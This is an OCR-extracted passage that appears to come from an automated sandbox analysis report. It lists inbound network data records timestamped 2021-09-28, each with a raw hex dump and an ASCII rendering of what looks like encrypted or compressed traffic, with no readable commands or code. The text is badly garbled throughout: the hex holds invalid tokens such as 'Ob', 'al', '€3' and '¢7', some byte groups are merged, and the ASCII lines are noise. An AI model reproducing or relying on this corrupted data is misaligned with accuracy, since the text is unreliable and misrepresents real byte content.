86 b6 16 8c 65 53 f0 17 3d 41 d2 €3 94 46 7f d9 76 61 72 9e 2a ae cf ee 36 f8 50 b1 4d a3 c1 8 39 30 00 c2 83 f2 c8 48
5292 6¢ 71 72 ea 1d 64 c7 ec d0 5e dc ee 82 34 53 3e 1d ad d5 fa ¢7 13 41 86 67 d6 15 bb c8 15 5¢ 8a 77 c4 4f 5¢ 1e 62
e7 58 53 eb c6 1d 28 b3 b2 82 00 fb 18 b8 42 47 8a e7 ea 5b eb 47 b3 6d 4c 85 db 21 1c 6b 33 09 69 a0 7d c4 69 91 c8 20
9f 14 bc 5b 82 d1 49 2a 10 04 b6 ad 21 bb c0 42 f9 84
Data Ascii: <Q!'WmU3}g3l|UXff@&=7aqv@'ra}V-1f 1u-8B2z7XsN%Az607_Y\eS=AFvar*6PM90HRIqrd"4S>Ag\wO\bXS(B
G[GmL!Kk3i}i [I*!B

2021-09-28 07:53:17 UTC 62 IN Data Raw: f8 b3 fe 14 3a 6e 00 76 a9 62 a7 20 ed f9 73 7f 6a Ob 37 81 68 5f 25 c2 22 e6 55 5d cb al 97 36 f4 f0 4f 62 60
29 9a e553 6b f3 16 e3 ef f3 f1 44 d1 d8 27 55 04 ff 0a dc 09 20 aa 0d d2 64 73 67 ac 41 9a a7 9c¢ 72 cf 90 27 3c c6 b0 c1
52 57 67 32 9b 15 9e fd 6f 63 32 7c 68 b3 c5 8e 18 72 04 bc 0d dc 8e 2e 41 42 42 ed a4 7f df 80 34 11 8b a9 93 cb bf 70
81 ¢7 68 d8 85 bd 10 7f Oe 30 da 2f 85 10 1e cf 61 39 a3 cd b5 5f d1 d0 59 3b ad f1 e6 68 ae b0 2 8f 7f 93 a9 93 96 5a a5
d1 53 8b 6b 7b 97 c7 32 41 99 38 db fe b5 93 8d 10 24 d1 30 fa 17 67 cf 89 67 b3 eb 82 b2 d0 d2 df 34 39 4f {7 91 f6 53 66
4b 1a fc 67 a9 80 68 5e f5 95 5e 71 e7 75 b1 00 97 98 Oa 7e d6 d6 b6 59 1c 3a 55 23 07 03 2e 5a 5d da 6b c2 6d fb 31 48
€2 30 b7 dO d3 ab 7 32 7b 1f f1 52 37 f5 8e
Data Ascii: :nvb sj7h_%"U]60b")SkD'U dsgAr'<sRWg2oc2|hr.ABB4ph0/a9_Y;hZSk{2A8$09g490SfKgh Mqu~Y:U#.Z]
km1HO02{R7
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:17 UTC 66 IN Data Raw: 22 70 97 87 7a 4c 48 45 a7 78 dc f6 c7 2b 51 bd 67 ee e4 ba 33 4f 62 79 cb 83 b7 29 7e ad 3d 53 74 3b 6b cc
4adf 93 ac 74 34 ae 82 33 7d ab 76 b7 9d 1d 99 97 33 34 eb db d6 38 6e 7a d8 fa fO €9 3c c2 8a f2 38 8e 17 f2 ef b6 f4 8e
85 d7 2d Oa 2d 65 af €9 3e 18 20 a5 c6 f5 e5 ad 14 92 db 38 1b 62 f4 36 a0 a3 f4 e2 de 99 62 c2 80 25 32 9b 38 29 15 06
89 6f 93 75 31 90 50 2b 63 c4 f4 03 ce 31 00 61 ea 8c 76 42 7b 3d a3 15 39 fa da 01 d7 9a 07 07 6¢ c4 1f a8 91 8f d4 42
29 70 c4 ac 81 6¢ cc 2e f3 d7 70 bb d3 80 23 7e 50 c5 04 c2 eb fd f9 f5 bd de 05 f0 6b 0f 7d 63 b6 73 fd 06 2d 54 66 35 51
78 40 a7 4f 54 d6 19 47 01 21 95 4f 76 f3 9b 83 9e c8 87 20 a4 45 16 28 77 26 97 5c¢ ff 9e 27 3 Oe 66 91 8d 32 3e 3e 56
3d 7e 41 ae 9d 57 99 e0 94 80 59 f7 c2 52 b6 2f 51
Data Ascii: "pzLHEx+Qg30by)~=St;kJt43}v348nz<8--e> 8b6b%28)oulP+clavB{=9IB)pl.p#~Pk}cs-T5Qx@0OTG!Ov
E(W&\'f2>>V=~AWYR/Q

2021-09-28 07:53:17 UTC 70 IN Data Raw: 40 ec 05 a2 2f 3e f0 06 56 59 dc 7e 4d 48 80 53 dc b2 c5 17 3f 84 b4 fc d0 74 Ob 04 60 6f fe 17 fc 38 20 0f d3
8a 77 13 ac 76 dO f2 e4 51 5d eb ¢4 56 b8 70 aa bc 79 0a 54 4f fa cb dc 00 6f 48 23 ¢7 36 7c a5 59 45 f2 42 b9 43 be 31
6¢C 8a c2 c7 87 c3 4c 3e 8f be bd 56 84 fc ¢7 aa 50 69 36 bd a2 3a 0a 43 80 e6 91 3f 14 af cb a6 20 5 95 fb 48 22 b8 dc 5e
47 89 fd ef da aa 37 91 a0 a6 05 39 ff 34 dc 8e 14 5¢ 5b c1 3d 11 al b8 a2 da 9f 5d 34 a0 49 56 4d b8 5f b3 76 28 86 01
c4 4e cb 1e 9 4f 79 69 a2 d3 d6 c0 c6 1f e7 4b 19 e2 a5 d1 7e aa 35 76 75 a3 3a 65 85 3f 68 c2 Oc e7 2d 40 97 02 Oe 73
b3 83 98 40 8d 1a 56 f5 21 d2 49 50 2f a8 48 €9 2b 8b 29 e8 ec ad 3a f4 6d df 0d 30 92 45 7 1a d8 38 fd 4d 86 d1 4a 33
b8 27 ¢5 bc 35 81 cc 09 6e 1f 4f c4 e8 ed Oa 09 35
Data Ascii: @/>VY~MHS?t'08 wvQ]VpyTOoH#6|YEBC1IL>VPi6:C? H"*G794\[=]4IVM_v(NOyiK~5vu:e?h-@s@V!IP/H+)
:mOE8MJ3'5n05

2021-09-28 07:53:17 UTC 74 IN Data Raw: 7f 74 3e 43 e6 31 06 60 a4 77 7f 22 99 5d ca 6d 47 e7 35 96 11 d5 Oc f2 d6 85 96 59 3a 69 ab 47 b0 dc 04 95
b6 86 6f 74 be fe 34 57 6e 5¢c 97 33 80 ec 5a 3a d3 b7 e0 12 d1 ff 51 02 45 12 1b 92 84 72 de 85 1a 45 dc 19 b2 e3 e5 f2
ba 86 €8 83 c1 30 fd 56 32 78 a4 91 ab d7 ef 8c 02 68 19 3a d5 9b 04 37 ff 86 2f Ob al 03 01 85 1c 2b 1f 25 16 61 5e f8 89
06 e5 c8 19 aa 4f 90 6a e5 9c 60 ce fh 4b e6 e0 bl f1 bl ae a4 fc €508 93 b0 71 07 d2 85 f4 02 el 78 al 7b 28 e2 af aa 87
5941 36 c3 7f dc a3 a3 07 c8 7b f5 ¢2 66 8a 9d cd 37 3a ec 55 11 eb c2 4d f8 09 7c al 07 ac 9e 8d 02 98 8a f4 df 17 fe 89
68 c9 20 b2 4b 4b 75 a2 23 bc el ¢2 23 ¢5 cb 19 ¢2 13 43 07 c2 cc 72 72 04 9e fa 7e 5e 5f 6e 9b be ff b8 4e 5a 8¢ 5¢ 82
73 f1 6e 3059 72 28 8e 69 77 57 70 19 14 dc e4
Data Ascii: t>C1 'w"ImG5Y:iGotdWn\3Z:QErE0V2xh:7/+%a"Oj Kax{(YA6{f7:UM|h KKu##Crr~"_nNZ\snOYr(iwWp

2021-09-28 07:53:17 UTC 78 IN Data Raw: c1 6e b0 65 71 d5 70 56 f8 2d 26 cf a3 b8 03 2e 45 aa 22 05 85 14 36 c6 c1 02 bd 0d d5 5f e0 5e 39 af 70 70
b1 1f 6b 5b e4 4e 34 fb 5¢c b9 cO 1d 8a f4 43 8f b8 37 27 1e cb fa 14 54 e5 9c ff 97 cf 17 01 82 3b 04 97 83 al 46 eb 81 19
12 85 9a 42 b3 df ad fe €9 7d 61 c7 fc d9 98 53 el b7 ad f6 64 2c e8 02 a0 50 29 2e e5 9f 22 f9 ¢2 85 96 7d 8c 44 7c 2a 54
55 c2 4c a4 c6 43 79 6b c4 cf dd 1d 38 f4 83 8f e3 1e 32 70 58 53 ¢9 71 8b 82 06 44 f8 a0 1d 77 66 74 4e 30 e6 fb 05 09
b9 5b 4b ed 7c f8 28 83 d4 1b e7 74 f2 6f 9a 64 9b 8e 7d 33 d5 72 56 2c b2 89 35 3e 50 b7 4f dd 7c b8 5e 88 b9 8f 23 5e
2f af 6d 8c c9 2f 95 76 d6 37 fc b8 7b b5 31 78 10 7d 30 c6 1b 4e 8c 91 71 le e7 4b 14 4f 27 d9 c3 ¢4 88 16 13 53 c0 8b f4
ed 03 07 43 af de 53 24 d2 Oe a5 93 a8 3c 4c 3a
Data Ascii: neqpV-&.E"6_"9ppk[N4\C7'T;FB}aSd,P)."}D[*TULCyk82pXSqDwftNO[K|(tod}3rV,5>PO| N m/v7{1x}
ONgKO'SCS$<L:

2021-09-28 07:53:17 UTC 82 IN Data Raw: 42 ac dc fc 29 32 10 6e d9 36 ab 55 72 a3 df 94 b4 19 ad 68 1c 46 01 9a el d8 7d bf 07 51 b1 8d 61 71 46 03
56 Ob 11 eb a6 8f 00 b8 75 9d al 2e d9 c7 f8 64 44 e7 b3 ae 83 d2 d6 83 68 ff 1c 41 d6 63 6b 65 ac d5 84 68 fb 8a 45 07
a0 54 f2 61 b8 bf 53 73 cd f2 36 23 7d f4 b1 69 41 d0 ef 6e ad 6e 60 fc d2 d6 b3 18 {8 6f 60 f7 5a a4 4f Oc 4d 66 9e 94 7e
6b b7 fe 0a 33 4b e9 6a 8d 6d ba 18 a7 34 55 ff 6a cc 14 4e 94 47 3c d4 30 83 2a cf 24 65 a8 18 ce 9e b5 e3 {7 b2 bb 31
fc Ob 09 10 cd a0 40 40 2f f0 bc dd 17 ¢4 al c0 5¢ b9 09 Oa 93 b8 e8 62 4f e8 25 34 de 6d 3e 03 f4 97 d7 cd 88 f4 7c 27 3d
1f a6 ce 42 6f 90 Oc 85 Oe e0 46 6a 8b 50 Ob f6 5a 87 71 41 fe 3a 88 09 a5 b7 36 a3 61 49 bd fc 06 17 c2 d3 39 7b 1d fd
b2 6a e8 61 31 22 2d Ob aa 8¢ 04 d1 1d de 4c f3 of
Data Ascii: B)2n6UrhF}QaqgFVu.dDhAckehETaSs6#}iAnn" 0" ZOMf~k3Kjm4UjNG<0*$el@ @/\bO%4m>|'=BoFjPZgA:6al9{
ja1"-L

2021-09-28 07:53:17 UTC 86 IN Data Raw: 55 19 37 56 84 4f ae ea 1b ff d8 3c 23 le ae e5 53 b7 74 ac 2e 3e Oc b1 bc 8a 28 d7 11 e2 13 33 30 aa 3e 46
02 f2 00 2f 20 77 6a 49 46 b5 1e 2c b9 70 34 d2 79 80 d3 57 2a b8 7e 8d 5a a5 eb 85 27 ad dd 63 7d 81 80 be ab 6b cb 40
b6 62 ec 2a 71 6d 1a 2d 59 5d fd eb 7d f4 3d c8 dO df 48 19 a0 f8 e9 e3 32 c2 09 7c 9c 6f 47 73 5f 40 5f 66 02 34 6f 63 4d
a8 le da da 5b 86 b2 86 ae f2 dd 93 17 72 01 79 c6 3a 02 30 92 dc 27 e8 22 ba 02 1c 10 Oe 02 ef dc d4 cc e7 fa 9b 4d d6
bf ac 3b 50 f5 c0 e0 7d bd 6c f5 ee 48 a4 fd 08 3e Of da b4 2d {7 88 a0 d3 e7 a3 c1 f6 a6 94 95 b6 b0 be 7a ce c9 b6 a9 2d
6a 74 f1 89 f9 48 5e c5 3b dc 82 5b e2 04 81 9d al 08 d2 f2 1e 1d aa 28 5d ac 5d a7 8e 9b f1 76 6b 60 c1 le fe 68 a8 c3
7c 9e 27 cc 80 7f 37 bd €9 51 4a a4 fc d3 90 f6 be
Data Ascii: U7VO<#St.>(30>F/ wjlF,p4yW*~Z'c}k@b*qm-Y]}=H2|oGs_@_f4ocM[ry:0"M;P}H>-z-jtH;[(JJvk h|'7QJ

2021-09-28 07:53:17 UTC 90 IN Data Raw: e2 91 5 15 07 dd 91 35 d6 1f 05 3b 2d 99 3e 5e 22 26 21 18 be 16 f2 ec d0 42 c6 ad ac 2c 46 c0 c4 3a d7 bc
01 cf 9f d2 8b 9a 8e 1f ea ea 72 ff ce 00 83 Oc 19 56 60 5e 08 95 7b 46 c5 d4 99 1c b8 56 09 0d de 74 ea 1le 9e 58 c2 d2
0598 c0 7a 78 8a 2c 3e 69 b5 79 b8 15 e4 e6 62 72 6e dc 84 9a 2f 18 ad 63 6b da 07 d7 52 b4 2b 23 9e 37 02 12 06 11
e3 1a 08 be be 5a e5 df 32 Oc de 23 f0 6b 6¢ f2 ¢8 b8 a0 c1 08 d5 ce 56 73 39 dc 79 7b d9 df 95 c3 1a 1d f3 50 e5 2f 4d 0d
03 65 db 41 a8 be 71 83 8b 3b 5¢c Ob 16 38 d6 c9 21 3e 36 ac f0 3b 2c 6¢ 4f c1 a0 74 1a 27 24 76 6a 03 b9 17 82 c5 32 cf
4c 20 1f 86 fa 31 bf af bf e0 5¢ ¢5 ¢2 00 0f ab ac b0 bc af 5f 7c d9 14 aa ee 66 aa d0 20 Oc ca 3f a6 4b 63 72 a4 77 24 2d
ea 34 ac 69 20 b0 ab 53 44 59 4f f2 51 ef 54 a2 94 04
Data Ascii: 5;->"&1B,F:rV MFVtXzx,>lybrn/ckR+#722#kIVs9y{P/MeAq;\8!>6;,I0t'$vj2L 1\_|f ?Kcrw$-4i SDYOQT

2021-09-28 07:53:17 UTC 94 IN Data Raw: 13 81 9a 17 93 4a 0a 50 9a 31 18 20 5f 32 47 e8 a4 dd d6 31 ad 56 b4 Of cf d2 fa e7 98 8c bf 46 Oe eb 05 f4 cf
8a ch 1e 8c 8b d5 24 29 f6 44 8c 3d 8¢ 70 22 e2 28 ce 44 cf 37 1f a9 87 39 42 2c 9d 9a 39 47 84 03 55 cc a6 63 40 c9 03
a8 71 dd de e2 07 d0 93 88 64 67 75 be 44 2c fd c9 96 6a 3c b5 48 be 78 ac d0 8c 6¢ ef d3 b8 9d f7 60 6d a6 b3 e8 6f 71
d7 e8 bb 18 3 bd Oe f5 ca 12 Oc ce 5¢ 27 f3 50 a2 Oe 82 f8 22 03 2d 51 2b 5d 98 de 7a bc 87 28 4f fa 79 e5 3d 66 49 27 09
86 6f 84 47 64 43 d7 5d 50 25 bc f2 91 51 86 60 56 15 36 b9 55 2b e2 06 42 c7 61 cbh 04 82 a8 27 12 73 ea fc d9 bb cd 38
10 6e 5f 21 9a 57 39 56 8b c4 19 60 58 cf 31 38 ea e2 4d 30 eb ce 45 4a 63 cc al e4 e3 18 al f5 5f 36 f3 17 1d 78 6a 6d
a0 c7 74 49 b6 5e 16 ea ec ab 2 bd 8c b3 2d b4 22
Data Ascii: JP1 _2G1VF$)D=p"(D79B,9GUc@qdguD,j<HxI'mog\'P"-Q+]z(Oy=fl'0GdC]P%Q V6U+Ba's8n_!W9V X18MO
EJc_6xjmtiA-"

2021-09-28 07:53:17 UTC 98 IN Data Raw: 76 b7 6b b4 06 6f 91 cf 61 7a ae 9e 97 99 d9 7d 11 35 71 03 51 16 c6 97 a8 27 a5 65 35 a6 8b ae b0 €9 c9 4c
c7 e0 da Oc 80 77 27 04 a7 99 d7 6¢ e8 14 el 2a 13 47 64 06 f8 ce 68 8c b6 69 46 73 41 8a 49 5a e2 76 62 e2 5e 05 83 c5
b4 5d 7c ce 76 87 e5 21 56 24 b4 5f 9a 65 00 5f 28 8d 4c ce 3f 90 14 13 39 fe 56 49 d0 38 00 c2 e3 07 aa 87 6e 08 2e 1c
c9 db 75 1e 63 d9 bl 5a 31 de 47 a2 85 40 a4 c2 fe 5f 2e f2 8a d9 0f 12 39 3e ce f9 66 3d e2 ac c5 ad 7c 74 09 f3 d8 16 9c
2880 b3 29 c0 f6 23 61 d1 67 ff 1c ec 41 60 d5 cc 4d 01 a5 30 a8 91 5f f3 45 d9 68 e3 71 dd e6 04 45 b4 fa 05 37 8e 08
d3e36¢86 1d 75 c5ed 17 78 92 5¢ 14 4e Oc 0a 9a 57 2c 66 6e 4a d0 €9 bc 67 6¢ 69 c4 86 51 84 57 08 ae dc 7d 1e 68
84 b7 2e b2 36 54 7f 28 Oe e2 10 25 e2 f3 2c d6 c6 d2 91
Data Ascii: vkoaz}5qQ'e5Lw'I*GdhiFsAIZvb]|VIVS_e_(L?9VI8n.ucZ1G@_.9>f=|t(}#agA MO_EhgE7Iux\NW,fnJgl
iIQW}h.6T(%,
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:17 UTC 102 IN Data Raw: 17 cd 5b ee f8 4d 23 84 2e 40 Ob 8e ba 21 23 3e c5 65 e5 33 b0 97 82 cc d0 3b 74 76 fb bf 75 7c af 90 bf 96 2f
61 08 8d d1 43 04 b5 d5 fa 9b 3f 12 €3 88 d7 8¢ 80 7c 4c 25 ae f8 8b Oc c2 10 ae dc 38 11 ab 26 1c 64 f2 €3 02 2b 30 77
2e 6f 67 22 7e 33 c0 4d 23 ¢5 33 52 7d 75 b6 70 d5 dO 4e 16 90 b9 24 d3 d3 e6 1b Oe dc 10 65 07 52 69 bc 66 82 07 31
a3 7b 26 7c 62 63 6e 1b ac 5f 37 97 90 40 88 8e 79 ea 8a 00 c6 7f 88 32 a9 8e 0a 98 71 38 €9 d5 47 d9 ec fe dO 1b ca 5a
b8 b9 0a c4 fa 75 a2 3d 43 d8 db 7f d6 ed 02 2c 5a 59 d6 5e 7f 31 56 21 df be 07 7d 18 d0 75 40 5d ff d2 56 09 15 6¢ 5f 07
98 34 74 8a a7 17 44 8a 06 c7 b3 92 68 b7 88 de d4 b4 3b f9 61 20 a0 21 44 8a 75 c1 29 94 e4 34 82 36 €9 30 94 8d b0 1f
a7 cl a0 30 13 dd 15 f9 3f da e6 1a f4 57 9a 81 1c e6
Data Ascii: [M#.@!#>e3;tvu|/aC?|L%8&d+0w.og"~3M#3R}upN$eRif1l{&|bcn_7@y2q8GZu=C,ZY 1V!}ju@]VI_4tDh;a !
Du)4600?W

2021-09-28 07:53:17 UTC 106 IN Data Raw: 82 31 df 16 2c 1c 9c 93 5f b2 8¢ ea 5b ba 7a 75 35 0a 29 e7 1c de 68 bb 2b 30 84 07 ed ac 6b ed 32 13 4d df f8
fd 08 c0 58 fd d2 ad 7e 41 4c cc 80 56 39 c6 1f 93 40 20 41 1a f6 ab 73 d3 6e 2c b1 d2 7d 1b b8 ba b7 37 6¢ 0d af 4b de
88 75 06 7a 28 c5 e6 a6 93 8a d7 13 9b 91 33 b5 e4 5b 3¢ ba 3d ec b7 00 8b 2e 07 fe a9 5b 12 08 01 7e 6a df a2 b8 4e Ob
28 ¢7 9a 95 bd 72 ff ff 9e Oc 26 ¢3 17 d3 8¢ f0 d9 c4 66 0a 01 9d d6 ad 01 6f 04 6f 24 07 bd b8 c4 6¢ 75 4b 8e c6 8 85 f8
65 4b d1 86 d6 81 0d e8 ch 49 77 b7 3d 79 1a 97 dd 21 62 e3 61 8c 1f fe df 88 33 36 d6 10 98 28 40 ad 72 13 c5 05 2b 43
58 0f 01 43 3c 87 e5 c8 fa bb 28 ¢6 83 df 15 b4 85 b9 47 0a ac 25 93 4c d6 00 72 da 97 54 80 3f 48 a4 e5 5¢ 87 ¢9 46 5b
6a 9f 53 64 bc 74 3f ¢3 98 86 e6 60 09 le 10 ea 5
Data Ascii: 1,_[zu5)h+0k2MX~ALV9@ Asn,}7IKuz(3[<=.[~]N(r&foo$luKeKIw=y!ba36(@r+CXC<(G%LrT?H\F[jSdt?"

2021-09-28 07:53:17 UTC 110 IN Data Raw: 90 69 c1 62 c4 d7 c7 db d4 3a 8f 02 e6 89 {7 84 80 6d eb 1b 01 6e e3 d5 40 59 7a 8e c2 bc 68 67 68 0a 30 fO
1d d6 e5 aa bb 3e 17 8e 8f 54 a3 51 88 01 2f a1l d0 7e e9 22 06 f7 71 07 55 cb Oe e7 76 b2 e5 7c €8 df b8 34 1d 14 23 a6
40 ae 76 ce 5c e5 db 2c 36 40 8c d3 26 ae 1f d3 52 54 f5 63 7 81 2b 69 93 77 91 9c c3 e6 94 c0 32 a5 8b b9 2¢ ac 03 99
38 6d 07 83 eb 34 15 d2 5a b2 78 91 80 9d 69 cc 70 6f 5b 17 6b 7b 51 al 46 33 3e d3 7c 30 a2 e5 4a 54 fa 9c b9 da 17 36
40 83 36 94 28 73 9f 8d b4 ce 4f 92 40 a2 00 67 02 66 df 20 a6 e5 44 c1 ab a6 b6 59 ed e7 4c 83 93 4b cf 26 6¢ 8a 69 9d
118149 a7 5¢ 12 69 d5 91 3f 7 73 a2 33 b2 ¢3 47 bd c7 d7 a8 05 20 ee c8 39 a4 2e 4f c4 01 90 4f a9 40 3d 51 10 fb 8c
6b ab 01 63 9d aa f1 4d f2 fb 3b a9 52 ae 9e 19 ad d9 aa
Data Ascii: ib:mn@Yzhgh0>TQ/~"qUv|4#@V\,6 @&RTc+iw2,8m4Zxipo[k{QF3>|0JT6@6(sO@gf DYLK&IiNi?s3G 9.00@
=QkcM;R

2021-09-28 07:53:17 UTC 114 IN Data Raw: 31 2d d8 f6 2b ea 89 85 31 1d fd 73 ec 34 13 74 81 79 25 37 da 9c 9e 72 6¢ d4 92 a3 a4 eb 18 4c fc al 94 d8 8f
ed a7 fd 04 3b d6 bb b2 75 c4 bb 2b ec 32 22 ed 10 29 6¢ 25 f0 4e 13 cc 98 97 78 b7 ac 14 32 30 5e 13 d7 45 89 36 7d e8
3fdl a8 c6 92 96 10 29 52 cb 05 47 44 48 f0 53 49 01 31 31 be c1 ba 20 ac 21 53 d1 7f ee 76 9b 1c 00 7c 53 85 ba 3b 6e
a3 53 4b 2e 66 ¢8 65 cd 87 f8 c3 dc 66 fe 4b 5f df 63 f8 b2 2d ed 63 77 60 10 6b a2 46 a6 04 27 45 34 4f 4b 3f 6f 34 7d al
5a b2 f9 7e 0a 3e 26 Ob 25 fd 1b 87 e8 b6 70 70 a5 a5 37 c2 44 d9 b8 f5 72 d7 67 aa cf d6 4b 68 ec 8¢ c0 cc 1f 20 fd d5 fd
b3 af 6f 57 2a b7 67 c3 9a 77 96 Oc 04 72 d4 55 28 ce 17 93 39 14 91 2b Oe 55 ¢4 59 ef 1f 51 Oc 31 92 91 b1 f0 9b 6f 6b
Oa 05 f2 df b6 ae fe 44 dc 6a 1e 3e af 4f 5e 7a
Data Ascii: 1-+1s4ty%7rlL;u+2")|%Nx20"E6}?)RGDHSI11 ISv|S;nSK.fefK_c-cw kF'E40K?04}Z~>&%pp7DrgKh oW*
gwrU(9+UYQ1okDj>0"z

2021-09-28 07:53:17 UTC 118 IN Data Raw: 00 33 29 a5 Oe cc 1a le 4e 28 13 4e 56 cf 74 df el 25 58 e7 e5 d7 e7 5 3f f2 fe 6¢ 5b b2 98 36 77 b7 7a 17 00
ec 3d aa 64 ab d5 76 90 20 6¢ 35 93 f2 6a b7 ee fc 7f 8b 5¢c 89 92 ee 83 el el 21 88 67 00 38 9c 3e a2 24 c7 35 46 6a 6d
b9 ce 85 al 31 5c a6 cf 07 d4 e0 9b 69 cb 2f al 0a 05 ce 93 46 92 9e 8d 8¢ d9 ee 40 4d 88 60 96 82 04 45 41 3e 2a 9d 1d
b6 b8 9a 32 9d 07 8a 50 92 7e ea 1la bc 81 47 c7 e5 c9 1d da d0 95 1f f4 80 e0 6d a0 6b 00 2e 99 5b 2b 3e ec 01 a2 fe 6b
2990 43 el 9b d7 30 21 37 af 18 13 2d 12 58 9d df f8 97 da 41 c3 97 5¢ 3f 40 59 bc 5b 5 ca 31 4b 83 0a 7a c5 6e a8 c2
d8 71 fe f1 fa 00 11 35 ¢4 71 al 32 04 ce 85 e9 d6 3d 55 b3 b0 d9 8b e5 71 1a 81 f1 80 ca 40 50 a6 3b df 05 5a 71 {2 46
a2 01 c2 47 57 9d d8 45 b5 2e da de 34 d4 01 82 4a 9¢c
Data Ascii: 3)N(NVt%X?I[6wz=dv I5)\|g8>$5Fjm1\i/F@M EA>*2P~Gmk.[+>k)C0!7-XA\?@Y[1Kzng5q2=Ug@P;ZqFGWE.4J

2021-09-28 07:53:17 UTC 122 IN Data Raw: ae 5¢ 4b d0 79 d7 fb 71 c2 4e b7 ca 85 47 a2 fd 59 42 ba e9 33 b4 6e 80 e5 50 1la bl e0 ad d4 33 69 10 39 af
6112 13 a4 4a 21 1b 1b 02 e3 c7 d4 1f 4d 80 54 88 7 dO dc b3 2c 54 48 15 c5 2a fa Ob 60 b7 3c b7 5f a4 d0 de c6 26 70
c6 40 a8 52 82 9c 68 74 7f 6¢ c7 67 dd 74 fa 9f 4a 86 ae 1a 46 9e db 60 a3 1f ec 25 27 5¢ 6d 6¢ 70 20 Of Of 7c ¢3 b0 c8 dO
aa 57 8e 62 54 3c e3 f0 3c 13 76 2a 38 ¢2 14 50 2f 50 10 82 a0 25 7f 4a 80 55 99 €9 1c ac 3a 19 f1 43 01 e6 97 da 41 d3
b5 bb 69 ef 56 20 db 47 9f 12 af c8 41 5f b7 d1 13 a2 eb 5a 56 0d bb 76 59 44 65 da 03 1a e8 95 2d 66 93 be bc 42 3f e8
13 22 3b 23 49 fc d4 e4 a5 db 82 a8 dd 2f 6a 03 6a e6 40 2a 34 b9 ca ff 1d 4b da df e4 61 7d e3 66 95 46 b9 28 Of 26 84
d7 5c 89 20 35 1b Oc 4a 13 84 fc 37 18 de al 60 27 31
Data Ascii: \KygNGYB3nP3i9aJIMT, TH*' <_&p@RhtlgtIF %"\mlp |WbT<<v*8P/P%JU:CAIV GA_ZVvYDe-fB?"#l/jj@*
4Ka}fF(&\ 5371

2021-09-28 07:53:17 UTC 126 IN Data Raw: c1 f5 c7 fb 86 ¢4 da 57 Oe 54 c4 11 c1 39 13 80 9d e3 1f a3 c1 53 bd aa 0a 15 94 bf Oc Oe Ob 1d fe 26 04 bb 47
02 ad 71 al bd 44 86 3a 1c 5e b2 c4 8c 5a e2 65 9e 6e c2 d6 f6 ac ¢7 1c d3 57 f6 b1 09 43 7d 08 1c a9 83 b7 fe 5e fd a8
31 f6 0d 56 da 5a 52 41 d9 5¢ 01 45 b6 9e 29 Oc 3f 77 4d 3a 44 f9 89 b9 e7 72 fb Oa 8b b5 17 8f 12 93 48 80 38 10 7e ee
60 5f 25 f8 2c 4e fa 72 2f 3d 96 b9 fa c4 84 72 b2 ce c9 96 af 2c a5 7f ef ab 56 00 75 cf a8 f9 df 5¢ 47 97 0d a0 08 28 31 58
25 d8 95 09 96 el a7 bb 8¢ 58 7a 20 c5 41 a9 62 69 fc 3c ad b4 a6 fe 5a 6f 69 91 76 4c ca 60 2f d5 03 a5 0d 06 15 1d 53
f9 ca 6¢c 72 5d f1 35 df 16 ea ba 02 75 3c 1a f3 ec 10 2e cc 2b 72 ba d1 af dc 7d 16 66 82 97 c1 7d e2 41 00 8c 41 63 46
9e al 42 6b dd 51 36 71 4e dd bf 21 4a a8 0f 79
Data Ascii: WT9S&GqD:AZenWC}*1VZRA\E)?WM:DrH8~"_%,Nr/=r,Vu\G(1X%Xz Abi<ZoivL /SIf]5u<.+r}f}AACFBKQBQN!Jy

2021-09-28 07:53:17 UTC 130 IN Data Raw: 6a 90 06 ea d0 08 8a 8d 25 6f 87 el 37 51 be 00 12 7f 31 68 ff 4c d6 ff cc 6¢ 19 bd 05 el 02 3b f2 05 6d Of 55
€0 39 b8 4a 69 24 fd 16 2f 8d 44 87 18 e3 86 3e 8f 9a 20 96 0 98 ff df e7 87 ea 2c 3d c2 a8 d1 el 50 3a 6f 19 b9 32 7b 86
ee f9 al Of f5 2f 5f ed 56 fb 59 91 65 09 38 6¢ 94 al 70 47 00 07 82 e2 9a ba 17 1b 33 48 24 54 98 23 05 6d de 2a da d1 ff
91 df 16 ¢5 65 90 8b 77 2e b7 25 fc 33 8a 65 c0 56 5e 63 be fe 3b a9 e6 e3 f1 83 67 68 e2 d2 37 82 fe 6b 60 1b b5 0a 47
5a e9 f0 aa 4e 69 le e2 94 c5 ea 6d eb f8 56 9e ba b3 94 20 bc ¢3 80 b5 2e 4e c1 9 ce 81 41 32 7d 5b 51 dO e3 9b a4 al
76 8¢ 04 3a 5d 68 6e cbh 6a a2 a8 04 12 09 7b a0 ba 5b 89 00 65 da 5 14 c8 c0 aa 82 36 d5 ad 5e 1c 9b db 73 dc 76 d9 el
5e 4b b7 32 89 f4 ba cd c0 c0 2f 16 d1 e9 cb 5d
Data Ascii: j%07Q1hLI;mU9Ji$/D> ,=P:02{/_VYe8IpG3H$T#m*ew.%3eV"c;gh7k’ GZNimV .NA2}[Qv:]hnj{[e6"sv" K2/]

2021-09-28 07:53:17 UTC 134 IN Data Raw: bc Oc 71 39 25 56 80 4c 3a fd b2 81 35 fd 9e 27 5e 39 de ff €6 f6 dO 9f e1 60 03 15 c5 06 25 29 5¢ 69 eb 4a 9d
eb 1c e0 86 5b 6f fe 73 ec d1 78 81 41 ce 4e ea dc 2b 9d 58 5d e9 aa aa 8d 2c €6 79 7c 50 d9 61 31 fa al 56 a3 5f 41 ce
66 53 51 15 f0 26 33 15 18 34 22 ed c0 51 66 6b d1 4a c¢3 02 3a 97 c9 85 fa bl af 95 d9 79 3f 2¢ 52 57 7d 4a 3e ab 35 d5
c0 fb d0 a4 f9 6¢ f5 4a 74 91 ac Oc 35 69 79 00 a6 c8 cf 84 e2 76 c¢1 55 0d 5a 94 b9 75 29 92 5a 55 4a 7c¢ 14 89 52 b9 8d
28 52 1f a8 46 6e 92 3c 55 5f €9 24 ce 19 2b 52 8f f1 01 ae f6 52 a9 7e bb 47 9f 50 5f c¢5 d3 1f 96 d1 23 44 5e d1 3c 26 63
19 46 ad 14 57 8d 72 b4 18 de 76 2e f4 cO 4d 1c e6 47 b4 7d a4 a0 fc 55 8e d2 6d a5 19 91 17 e3 ca 36 3d 2b ca d8 69 37
€0 40 10 49 45 91 5c¢ 4c e8 6¢ Oe bc cb 17 fe 5d 6¢
Data Ascii: q9%VL:5"9"%)\iJ[osxAN+X],y|PalV_AfSQ&34"QfkJ:y?, RW}I>51Jt5iyvUZu)ZUJ|R(RFn<U_$+RR~GP_#D
A<&CFWrv.MGIUm6=+i7@IE\LI]I
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kBytes
Timestamp transferred Direction Data

